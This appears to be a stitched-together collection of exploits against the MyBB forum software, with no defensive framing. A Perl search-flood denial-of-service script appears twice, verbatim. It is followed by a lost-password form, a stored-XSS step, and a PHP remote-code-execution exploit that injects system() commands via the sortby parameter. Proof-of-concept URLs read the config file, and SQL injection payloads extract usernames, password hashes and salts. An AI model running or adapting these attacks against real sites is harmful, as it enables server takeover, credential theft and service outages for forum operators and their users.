#!/usr/bin/perl
#####################################
# MyBB Search Denial of Service
# Code Written By ZoL64R 
# KamikaZ Security Team 
# ISRAEL
#####################################
use IO::Socket;

$host = $ARGV[0];
$path = $ARGV[1];

if(!$ARGV[1])
{
    print "#################################################\n";
    print "## MyBB Search Denial of Service\n";
    print "## Discoverd By ZoL64R.\n";
    print "#################################################\n";
    print "## [host] [path] \n";
    print "## host.com /mybb\n";
    print "#################################################\n";
    exit();
}
for($i=0; $i<99999; $i++)
{
    $socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => $host, PeerPort => "80") or die("[-] Connection faild.\n");
    $post = "action=do_search&keywords=KamikaZ-Team&postthread=1&author=&matchusername=1&forums%5B%5D=all&findthreadst=1&numreplies=&postdate=0&pddir=1&sortby=lastpost&sorder=desc&showresults=threads&submit=Search";
    $pack.= "POST " .$path. "/search.php HTTP/1.1\r\n";
    $pack.= "Host: " .$host. "\r\n";
    $pack.= "User-Agent: Googlebot/2.1\r\n";
    $pack.= "Content-Type: application/x-www-form-urlencoded\r\n";
    $pack.= "Content-Length: " .length($post). "\r\n\r\n";
    $pack.= $post;
    print $socket $pack;
    syswrite STDOUT, "+";
}

#!/usr/bin/perl
#####################################
# MyBB Search Denial of Service
# Code Written By ZoL64R 
# KamikaZ Security Team 
# ISRAEL
#####################################
use IO::Socket;

$host = $ARGV[0];
$path = $ARGV[1];

if(!$ARGV[1])
{
    print "#################################################\n";
    print "## MyBB Search Denial of Service\n";
    print "## Discoverd By ZoL64R.\n";
    print "#################################################\n";
    print "## [host] [path] \n";
    print "## host.com /mybb\n";
    print "#################################################\n";
    exit();
}
for($i=0; $i<99999; $i++)
{
    $socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => $host, PeerPort => "80") or die("[-] Connection faild.\n");
    $post = "action=do_search&keywords=KamikaZ-Team&postthread=1&author=&matchusername=1&forums%5B%5D=all&findthreadst=1&numreplies=&postdate=0&pddir=1&sortby=lastpost&sorder=desc&showresults=threads&submit=Search";
    $pack.= "POST " .$path. "/search.php HTTP/1.1\r\n";
    $pack.= "Host: " .$host. "\r\n";
    $pack.= "User-Agent: Googlebot/2.1\r\n";
    $pack.= "Content-Type: application/x-www-form-urlencoded\r\n";
    $pack.= "Content-Length: " .length($post). "\r\n\r\n";
    $pack.= $post;
    print $socket $pack;
    syswrite STDOUT, "+";
}

<form action="http://website/mybb_dir/member.php?debug=1"; method="post">
<table border="0" cellspacing="1" cellpadding="4" class="tborder">
<tr>
<td class="trow1" width="40%"><strong>Email Address:</strong></td>
<td class="trow1" width="60%"><input type="text" class="textbox" name="email" /></td>
</tr>
<tr><td wlign=center>
<input type="hidden" name="action" value="do_lostpw" />
<input type="submit" class="button" value="Enter Here" />
</td></tr>
</table>
</form>

First of all user must be REGISTERED and authorized
- Go to http://target/mybbpath/private.php
- Inster your xss code for Subject

javasc ript:alert(123)

#!/usr/bin/php -q -d short_open_tag=on
<?php

// magic_quotes_gpc needs to be off

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

if ($argc<5) {
print "-------------------------------------------------------------------------\r\n";
print "                 MyBB <= 1.2.10 Remote Code Execution Exploit\r\n";
print "-------------------------------------------------------------------------\r\n";
print "Usage: w4ck1ng_mybb.php [HOST] [PATH] [FORUM_ID] [COMMAND]\r\n\r\n";
print "[HOST] 	  = Target server's hostname or ip address\r\n";
print "[PATH] 	  = Path where MyBB is located\r\n";
print "[FORUM_ID] = Valid forum ID\r\n";
print "[COMMAND]  = Command to execute\r\n\r\n";
print "e.g. w4ck1ng_mybb.php victim.com /mybb/ 1 id\r\n";
print "-------------------------------------------------------------------------\r\n";
print "            		 http://www.w4ck1ng.com\r\n";
print "            		        ...Silentz\r\n";
print "-------------------------------------------------------------------------\r\n";
die;
}

//Props to rgod for the following functions

$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
}

function make_seed()
{
   list($usec, $sec) = explode(' ', microtime());
   return (float) $sec + ((float) $usec * 100000);
}

$host = $argv[1];
$path = $argv[2];
$fid  = $argv[3];
$cmd  = $argv[4];
$cmd  = urlencode($cmd);
$port=80;$proxy="";

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

    $sql = "forumdisplay.php?fid=$fid&sortby=']=1;echo%20'*';%20system('$cmd');echo%20'*';%20\$orderarrow['";
    $packet ="GET " . $path . $sql . " HTTP/1.1\r\n";
    $packet.="Host: ".$host."\r\n";
    $packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727;)\r\n";
    $packet.="Connection: Close\r\n\r\n";
    sendpacketii($packet);

     $temp=explode("*",$html);
     $temp2=explode("*",$temp[1]);

    print "-------------------------------------------------------------------------\r\n";
    print "                MyBB <= 1.2.10 Remote Code Execution Exploit\r\n";    
    print "-------------------------------------------------------------------------\r\n";
    echo  $temp2[0];
    print "-------------------------------------------------------------------------\r\n";
    print "                          http://www.w4ck1ng.com\r\n";
    print "                                 ...Silentz\r\n";
    print "-------------------------------------------------------------------------\r\n";


?>

# milw0rm.com [2008-01-16]

http://localhost/mybb.1.2.10/forumdisplay.php?fid=2&sortby='

http://localhost/mybb.1.2.10/forumdisplay.php?fid=2
&sortby='];phpinfo();exit;//
http://localhost/mybb.1.2.10/forumdisplay.php?fid=2
&sortby='];system('ls');exit;//
http://localhost/mybb.1.2.10/forumdisplay.php?fid=2
&sortby='];readfile('inc/config.php');exit;//

http://localhost/mybb.1.2.10/search.php?action=results&sid=[valid sid here]
&sortby='

http://localhost/mybb.1.2.10/search.php?action=results&sid=[valid sid here]
&sortby='];phpinfo();exit;//
http://localhost/mybb.1.2.10/search.php?action=results&sid=[valid sid here]
&sortby='];system('ls');exit;//
http://localhost/mybb.1.2.10/search.php?action=results&sid=[valid sid here]
&sortby='];readfile('inc/config.php');exit;//

http://localhost/mybb.1.2.10/moderation.php?fid=2&action=do_mergeposts 
&mergepost[war]=1&mergepost[axe]=2

MySQL error: 1054 
Unknown column 'war' in 'where clause' 
Query: SELECT p.pid, p.uid, p.fid, p.tid, p.visible, p.message, f.usepostcounts 
FROM mybb_posts p LEFT JOIN mybb_forums f ON (f.fid=p.fid) 
WHERE p.tid='0' AND p.pid IN(war,axe) ORDER BY dateline ASC

http://localhost/mybb.1.2.10/moderation.php?fid=2&action=do_mergeposts 
&mergepost[-1]=1&mergepost[-2)UNION+ALL+SELECT+1,2,3,4,1,6,
7+UNION+ALL+SELECT+1, 
(SELECT+CONCAT(0x5e,username,0x5e,password,0x5e,salt,0x5e,0x27) 
+FROM+mybb_users+LIMIT+0,1),3,4,1,6,7/*]=2

MySQL error: 1064 
You have an error in your SQL syntax; check the manual that corresponds to 
your MySQL server version for the right syntax to use near ... line 1 
Query: UPDATE mybb_users SET postnum=postnum-1 
WHERE uid='^waraxe^aff3fcfc70d2a50c3d4c2158233c3901^C5ybEW6b^''

http://localhost/mybb.1.2.10/moderation.
php?fid=2&action=allreports&rid=0' 
+UNION+SELECT+waraxe--+

MySQL error: 1054 
Unknown column 'waraxe' in 'field list' 
Query: SELECT COUNT(rid) AS count FROM mybb_reportedposts WHERE 
rid <= '0' UNION SELECT waraxe-- '

http://localhost/mybb.1.2.10/moderation.
php?fid=2&action=do_multimovethreads 
&moveto=2&threads=war|axe

MySQL error: 1054 
Unknown column 'war' in 'where clause' 
Query: SELECT fid, visible, replies, unapprovedposts FROM mybb_threads 
WHERE tid IN (war,axe)